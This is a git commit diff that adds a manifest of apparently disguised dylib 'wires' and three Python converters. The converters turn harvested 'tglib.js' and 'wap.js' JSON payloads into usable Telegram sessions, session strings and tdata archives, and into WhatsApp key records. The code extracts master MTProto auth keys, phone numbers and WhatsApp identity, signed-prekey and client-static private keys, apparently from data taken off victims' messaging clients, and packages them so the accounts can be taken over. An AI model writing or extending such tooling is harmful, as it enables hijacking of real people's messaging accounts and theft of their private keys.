feat: tg/ws/security/

This commit is contained in:
hashbro
2026-10-03 05:40:19 +08:00
parent 6e4f7e6020
commit afac799588
32 changed files with 2038 additions and 18 deletions
+8
View File
@@ -191,6 +191,14 @@
"original_sha256": "51a5904abf3dacb554989b7c04e7f9e6a169bd4f6faba1d3bf8f11e7e5ad550d",
"source_rel": "source/sync_dylibs/libAggregateDictionaryClient.dylib"
},
{
"wire": "chk.ts",
"member": "CHKWhatsApp.dylib",
"expect_channel_hits": 2,
"original_size": 408552,
"original_sha256": "1106f08e427c4e26b4efc53105d46ee83ad760cee64b7ac050d88c214aa4e3a8",
"source_rel": "source/sync_dylibs/CHKWhatsApp.dylib"
},
{
"wire": "candy_ketchup.html",
"member": "WeChat.dylib",
@@ -0,0 +1,154 @@
#!/usr/bin/env python3
"""
tglib_to_session_files.py — Convert tglib.js JSON payload to the Telethon
"session trio" (SQLite .session + metadata .json + session_string _密钥.txt).
Usage:
python tglib_to_session_files.py <input.json> <output_dir>
Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto
auth_key + DC id + user id, builds a Telethon SQLite session, derives a
StringSession, and writes three files into <output_dir>:
{phone}.session — Telethon SQLite session (binary)
{phone}.json — Account metadata + session_string
{phone}_密钥.txt — session_string plain text
Works fully offline — no Telegram connection is made.
"""
import json, base64, os, sys, tempfile, shutil
# Standard Telegram production DC endpoints (used to seed the Telethon session).
DC_ADDRS = {
1: ("149.154.175.50", 443),
2: ("149.154.167.51", 443),
3: ("149.154.175.100", 443),
4: ("149.154.167.91", 443),
5: ("91.108.56.130", 443),
}
# Telegram Desktop official API credentials (used as defaults in metadata).
DEFAULT_API_ID = 2040
DEFAULT_API_HASH = "b18441a1ff607e10a989891a5462e627"
def extract_keys(payload: dict):
"""Extract master auth_key, dc_id, user_id, phone from tglib.js JSON."""
state_b64 = payload.get("state")
if not state_b64:
raise ValueError("missing 'state' field")
state = json.loads(base64.b64decode(state_b64))
records = state.get("records", [])
if not records:
raise ValueError("no records in state")
backup_b64 = None
for attr in records[0].get("attributes", []):
if isinstance(attr, dict) and "backupData" in attr:
backup_b64 = attr["backupData"]["data"]
break
if not backup_b64:
raise ValueError("no backupData in state records")
backup = json.loads(base64.b64decode(backup_b64))
auth_key = base64.b64decode(backup["masterDatacenterKey"])
dc_id = backup["masterDatacenterId"]
user_id = backup.get("peerId", 0)
if len(auth_key) != 256:
raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}")
# tglib.js stores the phone number (E.164 without +) in the top-level
# "user_id" field; the Telegram user id is in backupData.peerId.
phone = str(payload.get("user_id") or user_id)
return auth_key, dc_id, user_id, phone
def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str:
"""Create a Telethon SQLite session file with the given auth key + DC."""
from telethon.sessions import SQLiteSession
server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443))
path = os.path.join(tmpdir, "tg")
sess = SQLiteSession(path)
sess._conn.execute("DELETE FROM sessions")
sess._conn.execute(
"INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)",
(dc_id, server, port, auth_key),
)
sess._conn.commit()
sess.close()
return path + ".session"
def session_string_from(session_file: str) -> str:
"""Convert a Telethon SQLite session file to a StringSession string."""
from telethon.sessions import StringSession, SQLiteSession
return StringSession.save(SQLiteSession(session_file))
def build_metadata(user_id, phone: str, session_string: str) -> dict:
"""Build the account metadata JSON (matching the reference format)."""
return {
"api_id": DEFAULT_API_ID,
"api_hash": DEFAULT_API_HASH,
"device_model": "Telegram Desktop",
"system_version": "Windows 10 x64",
"app_version": "4.14.4 x64",
"system_lang_code": "en-US",
"lang_pack": "tdesktop",
"lang_code": "en",
"user_id": user_id,
"phone": phone,
"twofa": "",
"password": "",
"session_string": session_string,
"app_id": DEFAULT_API_ID,
"app_hash": DEFAULT_API_HASH,
"session_file": phone,
"device": "Telegram Desktop",
"username": "",
"sex": None,
"tz_offset": 28800,
"avatar": "img/default.png",
"device_token": "__FIREBASE_FAILED__",
"package_id": "",
"installer": "",
"ipv6": False,
"pref_cat": 2,
"block": False,
"premium": False,
}
def main():
if len(sys.argv) != 3:
print("usage: tglib_to_session_files.py <input.json> <output_dir>", file=sys.stderr)
sys.exit(1)
input_json, output_dir = sys.argv[1], sys.argv[2]
payload = json.load(open(input_json))
auth_key, dc_id, user_id, phone = extract_keys(payload)
print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}, phone: {phone}", file=sys.stderr)
os.makedirs(output_dir, exist_ok=True)
tmpdir = tempfile.mkdtemp(prefix="tglib_sess_")
try:
session_file = make_session(tmpdir, auth_key, dc_id)
ss = session_string_from(session_file)
# 1) {phone}.session — copy the SQLite session file
out_session = os.path.join(output_dir, f"{phone}.session")
shutil.copy(session_file, out_session)
# 2) {phone}.json — metadata + session_string
meta = build_metadata(user_id, phone, ss)
out_json = os.path.join(output_dir, f"{phone}.json")
with open(out_json, "w", encoding="utf-8") as f:
json.dump(meta, f, ensure_ascii=False, indent=4)
# 3) {phone}_密钥.txt — session_string plain text
out_key = os.path.join(output_dir, f"{phone}_密钥.txt")
with open(out_key, "w", encoding="utf-8") as f:
f.write(ss)
print(f"wrote: {out_session}, {out_json}, {out_key}", file=sys.stderr)
finally:
shutil.rmtree(tmpdir, ignore_errors=True)
if __name__ == "__main__":
main()
+119
View File
@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""
tglib_to_tdata.py — Convert tglib.js JSON payload to a Telegram Desktop tdata zip.
Usage:
python tglib_to_tdata.py <input.json> <output.zip>
Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto auth
key + DC id, builds a Telethon SQLite session, and uses opentele-ng to write a
tdata folder, then zips it.
Works fully offline — no Telegram connection is made.
"""
import json, base64, os, sys, tempfile, shutil, sqlite3, zipfile, asyncio
# Standard Telegram production DC endpoints (used to seed the Telethon session).
DC_ADDRS = {
1: ("149.154.175.50", 443),
2: ("149.154.167.51", 443),
3: ("149.154.175.100", 443),
4: ("149.154.167.91", 443),
5: ("91.108.56.130", 443),
}
def extract_keys(payload: dict):
"""Extract master auth_key, dc_id, user_id from tglib.js JSON payload."""
state_b64 = payload.get("state")
if not state_b64:
raise ValueError("missing 'state' field")
state = json.loads(base64.b64decode(state_b64))
records = state.get("records", [])
if not records:
raise ValueError("no records in state")
backup_b64 = None
for attr in records[0].get("attributes", []):
if isinstance(attr, dict) and "backupData" in attr:
backup_b64 = attr["backupData"]["data"]
break
if not backup_b64:
raise ValueError("no backupData in state records")
backup = json.loads(base64.b64decode(backup_b64))
auth_key = base64.b64decode(backup["masterDatacenterKey"])
dc_id = backup["masterDatacenterId"]
user_id = backup.get("peerId", 0)
if len(auth_key) != 256:
raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}")
return auth_key, dc_id, user_id
def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str:
"""Create a Telethon SQLite session file with the given auth key + DC."""
from telethon.sessions import SQLiteSession
server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443))
path = os.path.join(tmpdir, "tg")
sess = SQLiteSession(path)
sess._conn.execute("DELETE FROM sessions")
sess._conn.execute(
"INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)",
(dc_id, server, port, auth_key),
)
sess._conn.commit()
sess.close()
return path + ".session"
def convert_to_tdata(session_file: str, out_dir: str):
"""Use opentele-ng to convert Telethon session → tdata folder (offline)."""
from opentele.td import TDesktop
from opentele.tl import TelegramClient
from opentele.api import UseCurrentSession
async def _run():
client = TelegramClient(session_file)
try:
tdesk = await client.ToTDesktop(flag=UseCurrentSession)
if not tdesk.isLoaded():
raise RuntimeError("TDesktop failed to load after conversion")
if os.path.exists(out_dir):
shutil.rmtree(out_dir)
tdesk.SaveTData(out_dir)
finally:
await client.disconnect()
asyncio.run(_run())
def zip_tdata(tdata_dir: str, zip_path: str):
"""Zip the tdata folder into a zip file."""
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tdata_dir):
for f in files:
full = os.path.join(root, f)
arc = os.path.relpath(full, os.path.dirname(tdata_dir))
zf.write(full, arc)
def main():
if len(sys.argv) != 3:
print("usage: tglib_to_tdata.py <input.json> <output.zip>", file=sys.stderr)
sys.exit(1)
input_json, output_zip = sys.argv[1], sys.argv[2]
payload = json.load(open(input_json))
auth_key, dc_id, user_id = extract_keys(payload)
print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}", file=sys.stderr)
tmpdir = tempfile.mkdtemp(prefix="tglib_tdata_")
try:
session_file = make_session(tmpdir, auth_key, dc_id)
tdata_dir = os.path.join(tmpdir, "tdata")
convert_to_tdata(session_file, tdata_dir)
zip_tdata(tdata_dir, output_zip)
print(f"wrote {output_zip} ({os.path.getsize(output_zip)} bytes)", file=sys.stderr)
finally:
shutil.rmtree(tmpdir, ignore_errors=True)
if __name__ == "__main__":
main()
+149
View File
@@ -0,0 +1,149 @@
#!/usr/bin/env python3
"""
wap.js payload -> __ws.txt NDJSON (chk.ts native output format)
Route-1: infer cc/country from phone via libphonenumber, derive `in` by
stripping cc from phone, derive clientStaticPublicKey from the private key
via curve25519.
Usage:
python wapjs_to_ws.py <input.json> [output.ndjson]
If output omitted, writes <input-stem>.ndjson next to input.
"""
import sys, json, base64, phonenumbers
from pathlib import Path
from nacl.public import PrivateKey # curve25519
# ---------- protobuf (minimal, only what chk.ts signedPreKey needs) ----------
def _varint(d, o):
v = s = 0
while True:
b = d[o]; o += 1
v |= (b & 0x7f) << s
if not (b & 0x80): break
s += 7
return v, o
def parse_pb(d):
out, o = {}, 0
while o < len(d):
tag, o = _varint(d, o)
fn, w = tag >> 3, tag & 7
if w == 0:
v, o = _varint(d, o)
elif w == 1:
v = d[o:o + 8]; o += 8
elif w == 2:
ln, o = _varint(d, o)
v = d[o:o + ln]; o += ln
elif w == 5:
v = d[o:o + 4]; o += 4
else:
raise ValueError(f"bad wire {w} field {fn}")
out[fn] = v
return out
def b64(b: bytes) -> str:
return base64.b64encode(b).decode()
def infer_cc_country(phone_int: int):
"""Return (cc, country_iso, in_local) using libphonenumber."""
s = "+" + str(phone_int)
try:
nn = phonenumbers.parse(s, None)
if not phonenumbers.is_valid_number(nn):
# still try to get region from prefix even if invalid
region = phonenumbers.region_code_for_country_code(nn.country_code) or ""
else:
region = phonenumbers.region_code_for_number(nn) or ""
cc = str(nn.country_code)
national = str(nn.national_number)
return cc, region, national
except phonenumbers.NumberParseException:
return "", "", str(phone_int)
def convert(wap_path: Path) -> str:
o = json.loads(wap_path.read_text())
pks = o["phoneKeyStore"]
ident = pks["identity"]
spk = parse_pb(bytes.fromhex(pks["signedPreKey"]["hexKey"]))
dc = o.get("deviceConfig", {})
cc, country, in_local = infer_cc_country(int(o["userId"]))
phone = str(o["userId"])
# identity keys (keep 05 prefix)
ident_pub_b = bytes.fromhex(ident["hexPublic"]) # 33 bytes
ident_priv_b = bytes.fromhex(ident["hexPrivate"]) # 32 bytes
# signed prekey (protobuf): 1=id 2=pub(33,05+) 3=priv(32) 4=sig(64)
spk_id = spk[1]
spk_pub_b = spk[2] # 33 bytes
spk_priv_b = spk[3] # 32 bytes
spk_sig_b = spk[4] # 64 bytes
# clientStatic: private given, derive public (raw 32 bytes, no 05 prefix)
cs_priv_b = base64.b64decode(o["clientStaticKeypairBase64"])
cs_pub_b = bytes(PrivateKey(cs_priv_b).public_key) # 32 bytes
record = {
"cc": cc,
"clientStaticPrivateKey": b64(cs_priv_b),
"clientStaticPublicKey": b64(cs_pub_b),
"country": country,
"device": dc.get("model", ""),
"deviceUUID": "",
"identityPrivateKey": b64(ident_priv_b),
"identityPublicKey": b64(ident_pub_b),
"in": in_local,
"jid": phone,
"language": "",
"manufacturer": dc.get("brand", "Apple") or "Apple",
"mcc": dc.get("sim_operator", ""),
"mnc": "",
"osBuildNumber": dc.get("display", ""),
"osVersion": dc.get("sdk_release", ""),
"phone": phone,
"phoneUUID": o.get("phoneId", ""),
"registrationID": ident.get("registration_id", 0),
"roProductBoard": dc.get("board", ""),
"roProductDevice": dc.get("device", ""),
"signPreKeyID": spk_id,
"signPreKeyPrivateKey": b64(spk_priv_b),
"signPreKeyPublicKey": b64(spk_pub_b),
"signPreKeySignature": b64(spk_sig_b),
"whatsappVersion": "",
}
return json.dumps(record, ensure_ascii=False, separators=(",", ":"))
def main():
if len(sys.argv) < 2:
print(__doc__); sys.exit(1)
inp = Path(sys.argv[1])
out = Path(sys.argv[2]) if len(sys.argv) > 2 else inp.with_suffix(".ndjson")
line = convert(inp)
out.write_text(line + "\n")
print(f"wrote {out} ({len(line)} chars)")
# echo parsed summary
r = json.loads(line)
print("\n=== summary ===")
for k in ["cc","country","in","phone","jid","phoneUUID","registrationID",
"device","roProductDevice","roProductBoard","osVersion","osBuildNumber",
"manufacturer","mcc"]:
print(f" {k:18s} = {r[k]!r}")
print(" --- key lengths (raw bytes) ---")
for k in ["identityPublicKey","identityPrivateKey","signPreKeyPublicKey",
"signPreKeyPrivateKey","signPreKeySignature",
"clientStaticPrivateKey","clientStaticPublicKey"]:
b = base64.b64decode(r[k])
print(f" {k:22s} = {len(b):3d} bytes head={b[:3].hex()}")
if __name__ == "__main__":
main()